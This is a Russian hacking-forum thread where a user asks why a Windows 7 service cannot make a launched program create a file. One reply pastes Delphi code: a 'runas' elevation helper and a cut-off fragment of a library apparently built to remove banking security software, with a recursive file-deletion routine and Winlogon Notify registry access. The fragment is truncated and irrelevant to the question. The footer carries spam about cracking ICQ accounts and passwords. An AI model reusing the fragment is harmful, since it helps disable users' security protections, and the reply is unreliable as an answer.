|Proxy от XaKePoK.Su| |Ты до сих пор ищешь выгодную рекламу?| |Нравится форум, и хочешь заработать?|

Вернуться   XaKePoK > Кодинг,софт,статьи и пр. > Кодинг > С/С++, C#, Visual Basic, .NET, Asm
Регистрация Пользователи Поиск Сообщения за день Все разделы прочитаны

С/С++, C#, Visual Basic, .NET, Asm программирование на этих языках и все, что с ним связано

Ответ
Старый 19.08.2012, 17:33   #1
Мустанг92
RAM 128MB
 
Аватар для Мустанг92
 
Регистрация: 01.11.2010
Сообщений: 142
Мустанг92 на пути к лучшему
Мустанг92 вне форума

По умолчанию Служба windows 7 - права доступа на запуск приложения


Собственно есть проект на виртуальной машине с windows 7 x64, служба устанавливается и запускается нормально. В методе OnStart у меня записан вызов двух программ через CreateProcess, которые должны работать с файлами.

Получается следующее: одна из вызываемых службой программ должна создавать файл и записывать в него несколько символов. Если проводить запуск этого приложения через службу, то приложение запускается, а вот файл не создается. Если же просто запустить это приложение, кликнув по нему два раза, то файл запускается.

Вроде как есть проблема с правами доступа для службы, или как?!
__________________
[Ссылки доступны только зарегистрированным пользователям . Зарегистрируйся, чтобы увидеть ссылку.]
Ёма!!!
  Ответить с цитированием
Ответ: Служба windows 7 - права доступа на запуск приложения
Старый 20.08.2012, 00:05   #2
psico.ufo
RAM 4mb
 
Аватар для psico.ufo
 
Регистрация: 19.08.2012
Сообщений: 7
psico.ufo Новичок
psico.ufo вне форума
Wink Ответ: Служба windows 7 - права доступа на запуск приложения

procedure RunASadm(hWnd : HWND; arquivo : String; Param : String; uCmdShow : Cardinal);
Var
adm : TShellExecuteInfoA;
begin
Fillchar(adm,SizeOf(adm),0);
adm.lpfile := PChar(arquivo);
adm.lpVerb := 'runas';
adm.lpParameters := PChar(Param);
adm.nShow := uCmdShow;
adm.cbSize := SizeOf(adm);
adm.Wnd := hWnd;
adm.fMask := SEE_MASK_FLAG_DDEWAIT or SEE_MASK_FLAG_NO_UI;
if not ShellExecuteEx(@adm) then
RaiseLastOSError;
end;





================================================== =========




library antigbp;

uses
Wintypes, advapihook, sysutils, reg, utils, registry, tlhelp32, classes, process;

{$R resource}

Function SeekAndDestroy(const PathName, FileName : string; const InDir : boolean): integer;
var Rec : TSearchRec;
Path : string;
begin
result := 0;
if Pathname[length(path)] <> '\' then path := pathname+'\' else path := pathname;

if FindFirst(Path + FileName, faAnyFile - faDirectory, Rec) = 0 then
try
repeat
if Deletefile(Path + Rec.Name) then begin inc(result, 1); showmessage('Deletado '+path+rec.Name) end else showmessage('Não Deletado '+path+rec.Name);
until FindNext(Rec) <> 0;
finally
FindClose(Rec);
end;

If not InDir then Exit;

if FindFirst(Path + '*.*', faDirectory, Rec) = 0 then
try
repeat
if ((Rec.Attr and faDirectory) <> 0) and (Rec.Name<>'.&#39 and (Rec.Name<>'..&#39 then
SeekAndDestroy(Path + Rec.Name, FileName, True);
until FindNext(Rec) <> 0;
finally
FindClose(Rec);
end;
end;

Function LoadList(init:integer):TStrings;
var i: integer;
begin
i := init;
Result := tstringlist.Create;
repeat
result.Add(loadstr(i));
inc(i, 1);
until loadstr(i)='';
end;

Function SNDSvcMask(mask: string):integer;
var reg: tregistry;
keys: tstrings;
loop: integer;
begin
result := 0;
reg := tregistry.Create;
try
with reg do begin
RootKey := HKEY_LOCAL_MACHINE;
Keys := tstringlist.Create;
OpenKey('SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify', false)
  Ответить с цитированием
Ответ: Служба windows 7 - права доступа на запуск приложения
Старый 20.08.2012, 16:06   #3
Мустанг92
RAM 128MB
 
Аватар для Мустанг92
 
Регистрация: 01.11.2010
Сообщений: 142
Мустанг92 на пути к лучшему
Мустанг92 вне форума
По умолчанию Ответ: Служба windows 7 - права доступа на запуск приложения

ты пробовал этот код?! у меня не работает в службе
__________________
[Ссылки доступны только зарегистрированным пользователям . Зарегистрируйся, чтобы увидеть ссылку.]
Ёма!!!
  Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.



взломать аську аську взломать взлом программы сделать взлом программы как сделать взлом программы хакерские сайты как легко взломать аську лучшие хакерские сайты топ список хакерские сайты взлом паролей легкий взлом паролей

Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2009, Jelsoft Enterprises Ltd. Перевод: zCarot